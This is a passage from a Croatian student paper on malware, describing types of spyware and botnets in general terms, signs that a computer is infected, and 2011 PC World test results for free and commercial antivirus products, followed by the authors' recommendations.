malicioznog softvera, ili korisnik najčešće misli da instalira nešto drugo. Informacije koje spyware prikuplja mogu biti različitog tipa, no najčešće se radi o osjetljivim podacima poput korisničkih imena i pripadajućih lozinki, brojeva kreditnih kartica, e-mail adresa u knjizi kontakata u e-mail klijentu računala korisnika, itd. 3.6.1. Nastanak Pojam „spyware“ prvi put se spominje 1995. godine na Usenetu u poruci korisnika koji se ţelio našaliti sa tadašnjim Microsoftovim poslovnim modelom.4 No, tijekom 2000-ih spyware postaje sve veća prijetnja velikom broju korisnika i njihovih računala diljem svijeta. Virusi i crvi ponekad skupljaju informacije istog tipa kao i spyware, no treba napomenuti da spyware nije samoreciplirajući oblik malicioznog softvera, dok virusi i crvi to jesu. 3.6.2. Tipovi spywarea Umjesto aktualnih inačica, u poglavlju o spywareima nabrojat ćemo neke tipove spywarea5, a uz neke navedene tipove bit će spomenute i najpopularnije inačice istih. Adware predstavlja oblik spywarea koji prikuplja informacije o interesima korisnika, a zatim ih bombardira raznim oblicima propagandnih poruka koje su usko povezane sa prikupljenim informacijama o interesima. Jedan od dosta popularnih oblika adwarea je WhenU Save / 4 http://groups.google.com/group/rec.games.programmer/browse_thread/thread/86a426b0147496d8/3b5d1936eb4d0f 33?lnk=st&q=&rnum=8#3b5d1936eb4d0f33, dostupno 6.1.2011. Na linku se nalazi izvorna poruka u kojoj se prvi puta spominje pojam „spyware“. 5 Scott Yoder (2010). Different Types of Spyware. Dostupno 6.1.2011. na http://www.ehow.com/list_6457947_different-types-spyware.html. 17 SaveNow, koji se instalirao sa tada vrlo popularnim BS Playerom, preglednikom multimedijalnih datoteka za Windowse iz tvrtke Webteh. Keyboard Logger (Keylogger) je oblik malicioznog softvera koji analizira i sprema u datoteku sve tipke na tipkovnici koje je korisnik koristio tijekom rada na računalu, a nakon toga ih šalje kreatoru. Ovdje se radi o softverskom obliku keyloggera, no postoje i hardverski, koji se moraju najprije postaviti. Iako vjerojatno nije potrebno ni spominjati opasnost ovog oblika spywarea – izuzetno je opasan. Browser Hijacker je oblik spywarea koji na bilo koji način kompromitira rad web preglednika na računalu. Primjerice, popularna metoda ovog oblika spywarea je da postavi za početnu stranicu neku laţnu stranicu punu spywarea i ostalih oblika malicioznog softvera. TakoĎer, slično kao i adware, ovaj oblik spywarea prati korisnikove interese koje on izraţava tijekom korištenja preglednika pa mu kasnije podmeće razne propagandne poruke. Komercijalni spyware je oblik spywarea koji je legalan u smislu da korisnik, ukoliko ţeli koristiti neke od usluga kompanije, mora prihvatiti i instalirati softver koji će pratiti njegove aktivnosti. Korisnik se obično s time mora sloţiti nakon čitanja licenčnog ugovora (EULA). Dialer je oblik spywarea koji, ukoliko uspješno provede ono što je autor zamislio, moţe imati veoma ozbiljne financijske posljedice za korisnika (ţrtvu). Ovim oblikom spywarea su pogoĎeni oni korisnici koji za pristup Internetu koriste tzv. dial-up modeme. Kao što je poznato, ti modemi, da bi pristupili Internetu, iskorištavaju već postojeću telefonsku liniju na način da biraju odreĎeni broj (iako i druge metode pristupa Internetu, poput DSL-a, koriste telefonsku liniju, one obično imaju i splitter, odnosno, ureĎaj koji jasno dijeli propusnost linije na govorni i podatkovni dio – kod dial-up pristupa toga nema) operatera, a zatim pristupaju Internetu. No, dialeri iskorištavaju nedostatak odvajanja podatkovnog od govornog dijela te biraju broj neke inozemne, iznimno skupe linije (obično linije „za odrasle“), koje se ţestoko naplaćuju. Mnogi korisnici se zato nemalo iznenade kad vide ogromne telefonske račune na kraju obračunskog razdoblja i bivaju revoltirani jer smatraju da oni nisu to potrošili, pa traţe pravdu tuţbama telefonskih operatera. No, ma kako se to činilo, gotovo se uvijek dialer instalira na računalo zbog nepaţnje korisnika. Danas gotovo svi antivirusi pronalaze dialere, no, ukoliko korisnik koristi dial-up pristup Internetu, pametno je nakon svake sesije korištenja Interneta iskopčati modemski kabel iz telefonske utičnice i redovito kontrolirati telefonske račune. 18 3.6.3. Način rada Spyware koristi razne metode kako bi se instalirao i aktivirao u računalu korisnika. OdreĎene varijante spywarea se instaliraju uz odreĎeni legitimni softver (spomenuti BS Player), najčešće u obliku dodatne alatne trake koja se prikazuje u web pregledniku (toolbar). Druge varijante spywarea kombiniraju načine pristupa trojanaca, pa se predstavljaju da su neki drugi (obično popularni) softver, te ih na taj način korisnik percipira kao korisne i instalira. Jedan od najčešćih problema koje iskorištava spyware su rupe (bugovi i exploiti) u web preglednicima. Primjerice, starije verzije Internet Explorera imale su problema sa ActiveX komponentama te se spyware Internet Exploreru često prikazivao kao sasvim legitiman softver. Korisnik je najčešće instalirao sve što mu je bilo ponuĎeno od strane Internet Explorera, smatrajući to autoriziranim i sigurnim, budući da mu je sam preglednik to ponudio. U novijim inačicama ovog preglednika greške ovakvog tipa su ispravljene te je i sam preglednik dosta sigurniji. 3.6.4. Razina opasnosti Opasnost spywarea moţe varirati. Iako ni informacije o korisnikovim ţeljama i interesima nisu bezazlene i itekako zadiru u privatnost, adware, koji prikuplja ovakav tip informacija, ipak ne predstavlja toliko veliku opasnost kao, primjerice, keylogger. Stoga, zaključak je da postoje različite razine opasnosti i da treba biti oprezan prilikom instalacije i najbezazlenijeg dodatka za preglednik. 3.6.5. Ciljna računala i korisnici Spyware postaje jedan od najopasnijih oblika malicioznog softvera koji je posebno orijentiran na korisnike operacijskog sustava Windows. Naime, budući da se radi o korisnicima koji i danas, tijekom pisanja ovog rada, u najvećem postotku koriste Internet Explorer, moţe se reći da su oni meta spywarea. Internet Explorer je veoma integriran u operacijski sustav Windows, pa je time i instalirani spyware u većoj mogućnosti prikupiti podatke o korisniku i njegovom radu na računalu. Ono što se ponekad čini bezazlenom alatnom trakom za web preglednik moţe potencijalno predstavljati spyware koji je u mogućnosti napraviti velike financijske i ostale gubitke za korisnika. 19 3.7. Botnet Botnet predstavlja mreţu softverskih agenata koji su instalirani na zaraţenim računalima (tzv. zombijima). On i nije samostojeći oblik malicioznog koda – botnet se zapravo odnosi na činjenicu da je na odreĎenom broju računala instaliran crv ili neki drugi oblik malicioznog softvera, a koji računalo pretvara u zombija, ili tzv. bota. Tako zaraţena računala mogu izvršavati traţene akcije za onoga tko ih kontrolira. 3.7.1. Nastanak Botnet obično nastaje zbog potencijalnih financijskih dobitaka hackera (najam zombija drugim organizacijama od strane hackera) i povećavanja statusa – što je veći broj botova, tj. zombija, to je veći status i slava hackera koji ih kontrolira. 3.7.2. Aktualne inačice I ne postoje neke aktualne inačice botneta, budući da se radi o mreţi povezanih računala. Problem je u tome što je teško naći trenutan broj zaraţenih računala (zombija), budući da mnoga od njih još nisu aktivirana – hacker koji ih kontrolira obično ih čuva na rezervi kako bi ih mogao iskoristiti kada zatrebaju. No, prema Symantecu, u prvoj polovici 2006. godine u svijetu je bilo aktivno više od četiri i pol milijuna aktivnih zaraţenih računala, tj. zombija.6 3.7.3. Način rada Kao što je već spomenuto, botnet je zapravo mreţa zaraţenih računala koja se, na zahtjev hackera koji ih kontrolira, mogu iskoristiti u razne svrhe. Treba napomenuti da botnet ne mora uvijek povlačiti za sobom negativne konotacije. Naime, u distribuiranom računalstvu se obično 6 SearchSecurity.com (2008.). Botnet. Dostupno 7.1.2011. na http://searchsecurity.techtarget.com/sDefinition/0,,sid14_gci1030284,00.html. 20 moţe iskoristiti procesorska snaga velikog broja računala u plemenite svrhe (SETI@Home, Folding@Home). U principu, računala u botnetu se koriste najčešće za DDoS napad (DDoS – Distributed Denial of Service), odnosno, za način napada kod kojega velik broj računala zatraţi odreĎeni mreţni resurs (obično web stranicu), te web server ne moţe podnijeti toliki broj zahtjeva. Računala zombiji postanu zaraţena budući da obično nisu adekvatno zaštićena. Osim činjenice da je potrebno imati instaliran antivirus i vatrozid (firewall), potrebno ih je i pravilno konfigurirati. Naime, poznato je da ako, primjerice, vatrozid nije pravilno konfiguriran, preko otvorenih portova moguće se ubaciti u ţrtvino računalo i instalirati trojanca, primjerice, koji će ostati tamo i čekati dok ne bude bio potreban. Zatim, kada hackeru, odnosno, osobi koja kontrolira botnet, zaraţeno računalo bude bilo potrebno za odreĎenu aktivnost, moguće je najjedonstavnijom IRC naredbom (IRC – Internet Relay Chat) poslati komandu za aktivaciju već otprije postojećeg trojanca. Takvo zaraţeno računalo moţe, kao što je već spomenuto, posluţiti za grupni DDoS napad, ili u svrhu slanja spam poruka (SearchSecurity.com, 2008.). 3.7.4. Razina opasnosti Razina opasnosti botneta moţe biti veoma velika. Ako zaraţeno računalo (zombi) sudjeluje u slanju spam poruka, to se smatra kaţnjivim djelom u mnogim drţavama. U svakom slučaju, računalo koje je dio botneta (ne ţeljom korisnika), predstavlja veliki sigurnosni problem. 3.7.5. Ciljana računala i korisnici Kao što je već rečeno, računala sa neadekvatnom zaštitom su najčešća ciljana meta za hackere koji ţele kontrolirani botnet. Stoga je potrebno redovito aţurirati sustav sa paketima nadogradnji, antiviruse sa najnovijim definicijama, a potrebno je i kvalitetnije definirati postavke vatrozida, te povremeno očistiti računalo od nepotrebnih datoteka i spywarea pomoću alata kao što su CCleaner, Ad-Aware, Spybot – Search and destroy, itd. Ali najvaţnije od svega – potrebno je pazit, jer ni najbolji alati za prevenciju zaraze malicioznim softverom neće imati efekta ako korisnik ne koristi zdrav razum i oprez prilikom korištenja računala. 21 4. Zaštita od malicioznog koda U poglavlju obrane ili zaštite od malicioznog koda pokušat ćemo obraditi nekoliko najpopularnijih sigurnosnih rješenja koje smo podijelili na 2 kategorije: besplatna i komercijalna. Sigurnosna rješenja su tematski podijeljena na antiviruse, vatrozide, anti-spyware alate te cjelovita (integrirana) rješenja, koja objedinjuju sva 3 područja. 4.1. Kako znati kada je računalo zaraţeno? Simptome koji definiraju zaraţenost računala nije lako apsolutno definirati, budući da simptomi jednostavno ovise o vrsti i prirodi djelovanja malicioznog softvera kojim je računalo inficirano (zaraţeno). No postoje neki uobičajene situacije kod kojih je lako prepoznati da se radi o problemu infekcije računala sa malicioznim softverom. Kod najozbiljnijih slučajeva malicioznog softvera, korisnik najčešće nije u mogućnosti niti koristiti računalo. Jednostavno, maliciozni softver napravi takvu štetu na operacijskom sustavu da se dotični ne ţeli podići sa tvrdog diska, pa je rješenje za ovakve situacije – reinstall operacijskog sustava. Ponekad je moguće upaliti računalo i operacijski sustav se podigne, no nije se moguće prijaviti (logirati) u sustav. Jedan od autora ovog rada imao je sličan problem, i radilo se o trojancu (Vundo). U najvećem broju slučajeva inficirano računalo se najčešće jako uspori, što imalo iskusniji korisnici lako primjećuju. Vrijeme pokretanja aplikacija se značajno usporilo, brzina učitavanja web stranica takoĎer, vrijeme pokretanja računala, vrijeme gašenja računala... Sve su to simptomi koji mogu ukazivati na činjenicu da se radi o zarazi. Naravno, uslijed velikog broja instalacija i velikog broja pokrenutih programa operacijski sustav se i prirodno uspori, no kod modernijih operacijskih sustava (Windows 7) je situacija znatno popravljena, tako da računalo nije strašno usporeno nakon nekoliko mjeseci korištenja i nakon većeg broja instaliranih aplikacija. 22 Još jedan od mogućih simptoma je i čudno ponašanje računala. Primjerice, operacijski sustav ne odgovara na naredbe korisnika, pokrete miša, pritiske tipki na tipkovnici, instaliran je softver koji korisnik nikad nije instalirao niti zna o čemu se radi, računalo se samo od sebe ugasi, itd. I ovo su simptomi moguće zaraze računala. Ukoliko korisnik uoči bilo koji od navedenih simptoma, trebao bi posumnjati u postojanje zaraze, ma koliko smatrao u nemogućnost postojanja takvog slučaja (često neiskusni, a pogotovo iskusni korisnici smatraju da se to njima ne moţe dogoditi). Kod zaštite od malicioznog softvera, vrijedi poslovica „bolje spriječiti nego liječiti“. Naţalost, kada je računalo zaraţeno, mnogo je teţe vratiti ga u prijašnje stanje nego uopće spriječiti zarazu. Primjerice, poznato je da je Avast! antivirusno rješenje mnogo bolje po pitanju prevencije nego kod čišćenja računala od virusa. 4.2. Komercijalna ili besplatna sigurnosna rješenja – što koristiti za zaštitu? Kod preporuke da li koristiti besplatna ili komercijalna sigurnosna rješenja, treba znati da postoje tvrtke koje proizvode komercijalna sigurnosna rješenja, a obično postoji i besplatna varijanta istog softvera. Stoga, vjerojatno je jasno koje je sigurnosno rješenje bolje kada se radi o rješenju koje ima i plaćenu i besplatnu varijantu. Mnogi smatraju da nema potrebe za plaćanjem antivirusa7 i ostalih sigurnosnih rješenja, kad se moţe pronaći zadovoljavajuća zaštita besplatno. Drugi pak smatraju da, jednostavno, besplatni antivirusi nikada neće biti toliko dobri kao njihove plaćene inačice. I jedni i drugi su u pravu. U današnje vrijeme zaista postoje kvalitetni, a besplatni antivirusi, koji mogu stati rame uz rame sa komercijalnim inačicama antivirusa konkurentskih tvrtki. S druge strane, istina je i da ipak nikad besplatne inačice rješenja neće dostići razinu heuristike i kvalitetu rezidentne zaštite od komercijalnih inačica. Jednostavno, programeri i sigurnosni stručnjaci ulaţu veći trud u razvoj komercijalne inačice iz očitih razloga, a zatim okljaštre komercijalnu inačicu i postave ju na trţište zajedno sa komercijalnom. Postoje i drugačiji pristupi. Primjerice, 7 Zbog jednostavnosti, u radu će ponekad, kada se bude mislilo i na cjelovita sigurnosna rješenja, pisati „antivirus“. Naime, moţe se smatrati da antivirusi postoje na trţištu u više razina (free, premium, full suite), gdje se „free“ varijanta, naravno, odnosi na besplatno izdanje, „premium“ varijanta obično sadrţi antivirus + vatrozid, dok „full“ ili „full suite“ obično sadrţi antivirus, vatrozid, anti-spyware, itd. 23 trial verzije omogućuju korisniku isprobavanje pune komercijalne inačice tijekom odreĎenog vremenskog razdoblja, kako bi se korisniku ukazalo na kvalitetu rješenja, a zatim, nakon tog razdoblja, moţe odlučiti hoće li kupiti i nastaviti koristiti antivirus, ili će ostati na besplatnoj inačici tog rješenja (ako ista postoji). Zaključak bi bio da bi bilo dobro, ukoliko je korisnik u mogućnosti, kupiti neko komercijalno sigurnosno rješenje. Iako je već spomenuto da besplatna sigurnosna rješenja mogu parirati komercijalnim u nekim svojim mogućnostima i pruţati donekle zadovoljavajuću razinu zaštite, ipak bi bilo dobro jednom godišnje izdvojiti ne preveliku svotu novca na licencu za korištenje antivirusnog rješenja. U nastavku slijedi opis nekoliko najpopularnijih antivirusnih rješenja. Za opise smo koristili časopis web izdanje časopisa PC World, budući da smo tamo našli najkvalitetnije recenzije (najopseţnija testiranja) najnovijih i najpopularnijih antivirusa. Najprije ćemo se fokusirati na besplatna sigurnosna rješenja (konkretnije, njih 5 najpopularnijih), a zatim na 5 najpopularnijih komercijalnih rješenja, po izboru časopisa PC World.8 4.3. Besplatna sigurnosna rješenja Za testove korištenja besplatnih sigurnosnih rješenja koristili smo, kao što je već rečeno, časopis PC World. Ovdje se radi o godišnjem izboru najboljih besplatnih sigurnosnih rješenja.9 Avast! Free Antivirus 5 predstavlja najnovije besplatno izdanje Avastova antivirusa. Potpuno redizajnirano sučelje jedan je od noviteta kojeg će zamijetiti svaki korisnik. Sučelje sa sivonarančastim nijansama zamijenile su dotadašnje blijedo srebrno sučelje i mora se priznati da je sada vizualni dojam daleko bolji. No, naravno, to nije razlog zbog kojeg antivirus postoji. Što se tiče razine detekcije, kod tradicionalnog skeniranja malicioznog softvera (tvrtka AV-Test i PC World), Avast je uspješno detektirao 94.8% uzoraka, što ga smješta negdje u prosjek. S druge strane, Avast je postigao izvanredan uspjeh na području prepoznavanja sigurnih datoteka – niti jednu postavljenu datoteku nije pogrešno detektirao kao malicioznu, što je inače značajka 8 Izabrali smo ovaj časopis i zbog činjenice da je kod recenziranja koristio i referentne testove sigurnosne kompanije AV-Test – dosta popularne sigurnosne kompanije. 9 Mediati, N. (2010.). Top 5 Free Antivirus for 2011. PC World. Dostupno 8.1.2011. na http://www.pcworld.com/reviews/collection/5928/2011_free_av.html. 24 komercijalnih antivirusa. Test blokiranja stvarnog malicioznog softvera Avast je odradio prosječno (nešto više od 75% uspješno blokiranih napada). Brzina skeniranja je takoĎer veoma zadovoljavajuća (4.5 GB podataka je skenirao u 90 sekundi), dok je konkurentska Avira najbolja sa 3 sekunde kraćim skeniranjem. Jedna od najjačih Avastovih strana je njegov utjecaj na performanse računala, koji je iznimno malen. Testno računalo je pokrenulo operacijski sustav sa instaliranim Avastom tek 4.5 sekundi sporije nego bez instaliranog antivirusa uopće. To je otprilike prosječno vrijeme koje instalacija besplatnih antivirusnih rješenja dodaje na vrijeme podizanja sustava, što je jedan od razloga zašto bi o Avastu trebali razmisliti korisnici koji imaju nešto slabija računala. Za razliku od svih ostalih besplatnih sigurnosnih rješenja, korisnička podrška Avasta se ne svodi samo na kakvu-takvu online podršku (forumi, e-mail). Korisnici zaista mogu razgovarati telefonskim putem sa operaterom koji je spreman pomoći. Ne znamo kakva je situacija kod nas u Hrvatskoj, no u SAD-u ta pomoć, prema PC Worldu, funkcionira. Doista, tako kvalitetna tehnička podrška za besplatni antivirus ili za bilo koji besplatni program je zaista rijetkost. Što na kraju reći, osim da je Avast Free Antivirus 5 jedno zaista zaokruţeno besplatno sigurnosno rješenje koje moţda i nije najbolje u razini detekcije i brzini skeniranja, no lakoća korištenja, gotovo neprimjetan utrošak hardverskih resursa i kvalitetna tehnička podrška, pa čak i vizualni dojam, svrstavaju Avast u sam vrh ponude novih besplatnih antivirusa. Avira AntiVir Personal Free AntiVirus 10 je najnoviji besplatni antivirusni proizvod njemačke tvrtke Avira. Sučelje u najnovijoj inačici ostaje isto kao i u prethodnim inačicama. Iako prokušano i poznato iskusnijim korisnicima, novim korisnicima moţda će neki segmenti sučelja biti neprivlačni i strani, budući da se obično radi o buttonima, pa je potrebno na nekoliko sekundi zadrţati pokazivač miša kako bi se saznalo za koju funkciju je zaduţen koji button. Što se tiče razine detekcije, AntiVir je prepoznao čak 99% uzoraka unutar standardnog seta uzoraka za testiranje, što je uvjerljivo najbolji rezultat kod besplatnih antivirusa. Što se tiče brzine detekcije, ovdje je takoĎer AntiVir najbrţi – 87 sekundi mu je bilo potrebno za skeniranje 4.5 GB podataka. S druge strane, AntiVir je čak 6 datoteka krivo prepoznao, svrstavši ih kao maliciozne, dok je bilo riječ o legitimnim datotekama. Test blokiranja stvarnog malicioznog softvera AntiVir je obavio iznadprosječno, sa 80% uspješno blokiranih napada. Brzina podizanja sustava sa instaliranim AntiVirom je impresivna – naime, vrijeme podizanja sustava povećalo se za mizernih 2.5 sekundi, što je vrhunski rezultat, Mada ova činjenica i nije toliko revolucionarna za krajnjeg korisnika, dobro govori o tome koliko su se programeri trudili učiniti ovaj proizvod praktički nevidljivim za korisnika, u smislu da ne usporava sustav. Avira AntiVir Personal Free 25 Antivirus 10 vrhunski je besplatni antivirus koji svojim mogućnostima detekcije i brzine skeniranja, kao i malom hardverskom gladi, nikoga ne ostavlja ravnodušnim. Eventualno se moţe prigovoriti na sučelje, koje bi moţda moglo biti poboljšano u sljedećim inačicama ovog sjajnog antivirusnog rješenja. Microsoft Security Essentials 1.0 predstavlja prvu punu inačicu ovog antivirusnog rješenja od Microsofta. Prilikom instalacije, ovo rješenje provjerava legitimitet instalacije Windowsa, odnosno, provjerava je li Windows legalan ili nije. Ukoliko nije, MSE se neće instalirati. Sučelje je dosta jednostavno i funkcionalno, što i dolikuje jednom antivirusu. Navigacija se svodi na 4 taba (Home, Update, History, Settings), a svaki od tabova sadrţi i dodatne opcije. Razina detekcije MSE-a i nije impresivna. Uspješno je detektirao samo 92.7% uzoraka (AntiVir je, za usporedbu, detektirao čak 99% uzoraka). Samo skeniranje je veoma, veoma sporo. Za 4.5 GB podataka MSE je potrošio čak 204 sekunde (AntiVir 87 sekundi), što je definitivno previše. Test blokiranja stvarnog malicioznog softvera MSE je poloţio sa oko 65%. S druge strane, MSE je dodao samo 1 sekundu na vrijeme pokretanja operacijskog sustava, a i općenito je imao jako malo utjecaja na performanse sustava. No, eto, to je moţda i najjača strana ovog sigurnosnog rješenja. Ipak, treba uzeti u obzir relativnu mladost ovog antivirusa, tako da još postoji mjesta za poboljšanja. Microsoft takoĎer najavljuje da će u sljedećim nadogradnjama poboljšati mogućnosti ovog antivirusa. Panda Cloud Antivirus 1.0 je predstavnik nove generacije antivirusnog softvera. Opće je poznato da se antivirusi redovito nadograĎuju pomoću tzv. antivirusnih definicija. Na taj način antivirusi prate stanje i zapravo ostaju korisni u svakom trenutku. Zato je vrlo bitno nadograĎivati definicije antivirusa. No, Panda Cloud Antivirus koristi jedan drugačiji koncept. Naime, osnovni princip rada ovog antivirusa je korištenje koncepta cloud računalstva, ili računalstva u oblacima. To se kod ovog antivirusa manifestira u činjenici da ne treba svakodnevno prolaziti kroz proces downloadanja i instaliranja antivirusnih definicija, već je cijeli antivirus u oblaku, dakle na Internetu, pa istog trenutka moţe povući najnovije definicije sa servera sa definicijama. Genijalan koncept, koji će svakako zaţivjeti u budućnosti! Kvaliteta ovakvog načina rada se vidi i na djelu – Panda Cloud Antivirus 1.0 uspješno je detektirala čak 99.8% uzoraka malicioznog softvera! Ipak, u nekim drugim testovima Panda i nije baš bila uspješna (primjerice, test blokiranja stvarnog malicioznog softvera – mada je Panda rekla da će i to poboljšati u sljedećim inačicama). Iako detekcija izgleda fascinantno, brzina skeniranja je 26 najlošija na testu besplatnih antivirusa – 4.5 GB podataka skenirano je za čak 338 sekundi! Panda Cloud Antivirus dosta utječe na performanse sustava – prilikom podizanja sustava sa instaliranom Pandom dodano je 11, a kod gašenja sustava čak 17 sekundi. Iako Panda Cloud Antivirus 1.0 moţda i nije trenutno najbolje rješenje, očekujemo sljedeće inačice i smatramo da je korištenje clouda budućnost antivirusa. Iako se ne bi dalo zaključiti po imenu, Comodo Internet Security Premium je besplatan softver. Jedini je od testiranih besplatnih antivirusa koji sadrţi i vatrozid. Inače, Comodo je isprva i stekao popularnost svojim kvalitetnim vatrozidom. Što se tiče testiranog sigurnosnog rješenja, krenimo od sučelja. Dizajnirano je lijepo, moderno, odiše bojama koje imaju i funkciju (zeleno znači da je dobro, ţuto da ima nekih problema, crveno da su ti problemi kritični). Ipak, ima svojih problema. Primjerice, kod skeniranja računala nema nekog indikatora koji bi pokazao trenutni status skeniranja. Comodo je detektirao 92.4% uzoraka iz standardnog, već spomenutog seta uzoraka. Nije prepoznao laţne viruse, tj. 6 datoteka je prepoznao kao potencijalno opasne, dok one to nisu bile. Što se tiče blokiranja stvarnog malicioznog softvera, tu je Comodo briljirao – čak 96% uspješnih blokiranja. Brzina skeniranja je prosječna (4.5 GB podataka Comodo je skenirao za 129 sekundi). Još jedna pozitivna osobina Comodo Internet Security Premiuma je da gotovo da i ne utječe na performanse sustava. Samo 1 sekunda dodana je na vrijeme podizanja sustava u odnosu na vrijeme podizanja sustava sa neinstaliranim antivirusom. Comodo Internet Security ima potencijala (dobra detekcija i blokiranje stvarnih napada, nema utjecaja na performanse sustava, ugraĎeni vatrozid, funkcionalno i vizualno privlačno sučelje), no ipak su potrebna odreĎena poboljšanja kako bi Comodo Internet Security postao sustav koji se nekome moţe preporučiti. 27 4.4. Komercijalna sigurnosna rješenja Za testove korištenja komercijalnih sigurnosnih rješenja koristili smo takoĎer časopis PC World. U ovom slučaju radi se o godišnjem izboru najboljih komercijalnih antivirusnih rješenja.10 Norton Antivirus 2011 je najnovije sigurnosno rješenje tvrtke Symantec. Inače, Norton Antivirus do prije nekoliko godina slovio je kao vrlo sporo i nametljivo sigurnosno rješenje, koje je često znalo veoma usporiti rad računala i sustava. No, u nekoliko posljednjih inačica programeri su se doista potrudili te sada Norton spada u sam vrh komercijalnih antivirusnih rješenja. Sučelje na ovom antivirusu je vrhunsko. Postoji nekoliko prekidača (on/off) za razne funkcije, a na dnu sučelja nalazi se mapa svijeta koja grafički prikazuje aktivnost cyberkriminala u posljednjih 24 sata. Kod detekcije je Norton takoĎer pokazao svoje kvalitete. 98.7% uspješno pronaĎenih uzoraka dokaz su toj tvrdnji. 96% uspješno blokiranih napada stvarnog malicioznog softvera takoĎer je podatak koji ide u prilog Nortonu. Ipak, brzina je i dalje ono što djelomično muči Nortona. 4.5 GB je Norton skenirao u 272 sekunde, što nije malo, uzevši u obzir besplatnu Aviru koja istu stvar radi u 87 sekundi. Ipak, ostale osobine čine Nortonom jednim od najboljih, ako ne i najboljim komercijalnim antivirusom današnjice. BitDefender Antivirus Pro 2011 je najnovija inačica komercijalnog antivirusa tvrtke BitDefender. BitDefender ima zanimljivo riješeno sučelje. Naime, moguće je odabrati jednu od tri inačica sučelja (Basic, Intermediate, Advanced). Svaka inačica sučelja sadrţi različiti broj opcija za korisnika. Dok je Basic opcija namijenjena neiskusnijim korisnicima i sadrţi krajnje pojednostavljene opcije (moglo bi se reći – ono najvaţnije), Intermediate i Advanced su namijenjeni iskusnim korisnicima. Advanced opcija sadrţi nepregledno mnoštvo tabova i podtabova, tako da se teško snaći. No, iskusniji korisnici koji ţele upravljati apsolutno svakim segmentom rada ovog antivirusa doći će na svoje. Performanse ovog antivirusa su iznadprosječne. 97.5% uspješno prepoznatih uzoraka iz standardnog seta uzoraka, kao i činjenica da je uspješno uklonio sve infekcije u 70% slučajeva svrštavaju ovaj proizvod u sam vrh antivirusnih programa. S druge pak strane, poziciju na vrhu moţe kompromitirati činjenica da je uspješno blokirao samo 68% napada stvarnog malicioznog softvera. TakoĎer, niti jednu datoteku nije krivo prepoznao, u smislu da ju je zamijenio za neki oblik malicioznog koda. Trajanje skeniranja je prosječno – oko 120 sekundi trajalo je skeniranje 4.5 GB podataka. Što se tiče 10 Mediati, N. (2010.). Top 5 Paid Antivirus for 2011. PC World. Dostupno 8.1.2011. na http://www.pcworld.com/reviews/collection/5927/2011_paid_av.html. 28 utjecaja na performanse računala, BitDefender se i ovdje iskazao. Na vrijeme pokretanja sustava dodano je tek 6 sekundi u odnosu na sustav sa neinstaliranim antivirusom. Iako BitDefender Antivirus Pro 2011 ima nekoliko loših strana (relativno loša obrana od stvarnih prijetnji, vrijeme skeniranja je moglo biti i kraće), ipak se radi o zaokruţenom proizvodu čije će mogućnosti znati cijeniti i korisnici sa manje pozamašnim iskustvom, zbog skalabilne sloţenosti sučelja. Avast Pro Antivirus 5 predstavlja plaćenu, komercijalnu inačicu u odnosu na besplatni Avast. Sučelje je više-manje identično onome iz besplatne inačice, dok i dalje ima nekih stvari koje bi trebalo poboljšati. Primjerice, ukoliko skeniranjem pronaĎe opasnost, Avast nigdje ne nudi objašnjenje pronaĎenog ili razlog zašto je opasno to što je pronaĎeno. Iako sadrţi mnogo opcija, te iste opcije bi mogle biti i malo bolje objašnjene. TakoĎer, nema ni opcije koja će definirati što će se dogoditi nakon što skeniranje pronaĎe opasnost. Avast je uspješno detektirao 94.8% uzoraka iz već više puta spomenutog seta uzoraka, što je dobar način za analizu kvalitete prepoznavanja već postojećeg malicioznog softvera od strane antivirusa. Što se tiče nepoznatog malwarea, Avast je uspješno blokirao 80% napada iz stvarnog svijeta. Jedna značajka ističe Avast posebno – boot skener. Ovaj skener će pokuštati pronaći bilo koji oblik malicioznog softvera prije pokretanja operacijskog sustava. Prema Avastu, ovaj način omogućuje detektiranje i uklanjanje malicioznog softvera prije no što je učinio bilo kakvu štetu operacijskom sustavu. Avast je takoĎer i brz – 90 sekundi za 4.5 GB je impresivan podatak. Kao i njegov besplatni brat, Avast Pro takoĎer nema prevelikog utjecaja na performanse računala. Lakoća korištenja i brzina su aduti koji krase ovaj komercijalni proizvod. G-Data Antivirus 2011 je najnoviji produkt tvrtke G-Data. Sučelje ovog antivirusa je pomalo neuobičajeno, budući da nigdje ne postoji indikator koji bi ukazao na status trenutne razine zaštite. TakoĎer, radi se o njemačkom proizvodu, čiji prijevod na engleski je mogao biti i bolje izveden. Ipak, G-Data Antivirus 2011 uspješno je detektirao čak 99.4% uzoraka iz seta uzoraka, dok se uspješno obranio od 84% napada stvarnog malicioznog softvera. Uspješno je detektirao svaku zaraţenu datoteku, a uspio ih je očistiti u 80% slučajeva. TakoĎer, nije pogrešno detektirao niti jednu datoteku niti ju označio kao maliciozni softver, a da je bilo riječ o bezopasnoj. Brzina skeniranja je takoĎer vrlo dobra – 4.5 GB podataka za 111 sekundi. Dodao je tek manje od sekunde na vrijeme pokretanja operacijskog sustava. Iako ima nekih problema sa sučeljem, sve pozitivne osobine čine G-Data Antivirus moţda i najjačim komercijalnim antivirusnim rješenjem. 29 Kaspersky Anti-Virus 2011 je poznato rusko sigurnosno rješenje. Vrlo dobro razraĎeno sučelje osobina je ovog rješenja. Čistoća, lakoća korištenja i kompletnost su samo neke osobine sučelja. Ima i zanimljivu mogućnost povlačenja datoteke u predviĎeno mjesto na sučelju (hot spot), gdje korisnik moţe dovući sumnjivu datoteku, a Kaspersky će ju odmah početi skenirati. Detektirao je 95.7% prijetnji iz standardnog testa uzoraka, dok je uspješno blokirao čak 88% prijetnji od strane stvarnog malicioznog softvera. 1 minutu i 40 sekundi (100 sekundi sveukupno) trajalo je vrijeme skeniranja, što je nešto kraće od prosjeka. Ipak, Kaspersky ima golemu lošu stranu. Naime, njegov utjecaj na performanse sustava je mnogo veći od ostalih antivirusnih proizvoda. 14 sekundi dodano je na vrijeme pokretanja. TakoĎer, vrijeme kopiranja unutar operacijskog sustava i ostale zadaće dosta su usporene. Da nema tih problema, Kaspersky bi moţda bio proglašen i najboljim antivirusnim rješenjem uopće. 4.5. Preporuka antivirusa od strane autora Na temelju testiranja PC Worlda, ako se korisnik odluči za besplatnu varijantu, definitivno bismo preporučili Avasta ili Aviru AntiVir. Oba rješenja su podjednako kvalitetna (mada je Avira nešto brţa), dok je Avast ipak moţda, globalno gledajući, bolji, budući da nudi besplatnu korisničku podršku. Što se, pak, tiče komercijalnih antivirusa, pobjedu odnosi Norton, mada bismo itekako preporučili i G-Data Antivirus 2011. G-Data se pokazao vrlo uspješnim u mnogim segemntima testiranja, no ipak bismo rekli da je Norton moţda zaokruţeniji proizvod. Zapravo, korisnik neće pogriješiti ako kupi bilo koji od 